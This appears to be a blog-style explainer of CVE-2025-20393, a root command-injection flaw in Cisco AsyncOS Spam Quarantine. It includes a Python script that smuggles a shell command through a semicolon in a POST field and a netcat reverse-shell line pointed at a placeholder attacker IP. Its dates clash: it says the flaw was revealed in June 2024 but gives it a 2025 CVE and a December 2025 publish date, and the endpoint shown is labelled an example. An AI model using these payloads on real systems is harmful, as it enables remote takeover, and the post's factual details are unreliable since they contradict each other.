In June 2024, security researchers revealed a critical vulnerability in the Spam Quarantine feature of Cisco AsyncOS, affecting both Cisco Secure Email Gateway and Cisco Secure Email and Web Manager. This flaw—CVE-2025-20393—can let an attacker take total control of your device, even without logging in.

In this post, I’ll explain how the bug works, show code snippets showing a simulated exploit, link the official Cisco advisory, and give simple advice on keeping your systems safe.

What is CVE-2025-20393?

This vulnerability arises from insufficient validation of HTTP requests handled by the Spam Quarantine feature. In a nutshell, an attacker can send a specially crafted HTTP request to a vulnerable Cisco appliance. That request tricks the device into running arbitrary system commands as root—the highest level of access.

No login is needed! Any attacker able to reach the management interface can potentially take over your system.

Cisco published the vulnerability details and sage advice here

- Cisco Advisory: cisco-sa-cmc-spam-quiz-XBB6QyRG
*(Check for latest patches and recommended actions!)*

Exploiting CVE-2025-20393 – How Does the Attack Work?

The root cause: Spam Quarantine accepts certain HTTP requests without properly checking (sanitizing) the information sent. If an attacker puts Linux shell characters or commands in their crafted request, the app will pass them to the underlying operating system!

Example Exploit (Python)

Note: This example is for educational purposes only.
Do not attack systems without authorization.

Suppose the Spam Quarantine interface is at

https://email.example.com:8443

The following Python code attempts to send a crafted HTTP POST request to the vulnerable endpoint, injecting a command.

import requests

# Target and port
target_url = "https://email.example.com:8443/quarantine/submit"

# Malicious command to execute (create a file named 'hacked' in /tmp)
command = "touch /tmp/hacked"

# Place the command inside the vulnerable parameter (example parameter used)
data = {
    "quarantine_action": f"release;{command};"
}

# Send crafted request
response = requests.post(target_url, data=data, verify=False)

print("Response code:", response.status_code)
print(response.text)

What just happened?

- The script injects the command touch /tmp/hacked in a parameter.
- On a vulnerable device, the server would run this as root, touching a file in /tmp.

A real attacker could use

command = "nc <attacker_ip> 4444 -e /bin/sh"

This would open a reverse shell so the attacker gains command-line access _as root_.

PATCH IMMEDIATELY!

Visit the official Cisco Software Download page for updates.

Cisco Advisory:

Cisco AsyncOS Spam Quarantine RCE

CVE Details Page:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-20393
- CISA KEV (if/when added):
https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Final Thoughts

CVE-2025-20393 is a serious vulnerability: it allows unauthenticated remote attackers to run any system command with the highest privilege. If you’re running an affected Cisco appliance, you must patch it now.

Stay safe out there!

Have questions? Need help testing your system? Let me know in the comments.

Timeline

Published on: 12/17/2025 16:47:13 UTC
Last modified on: 01/16/2026 14:00:12 UTC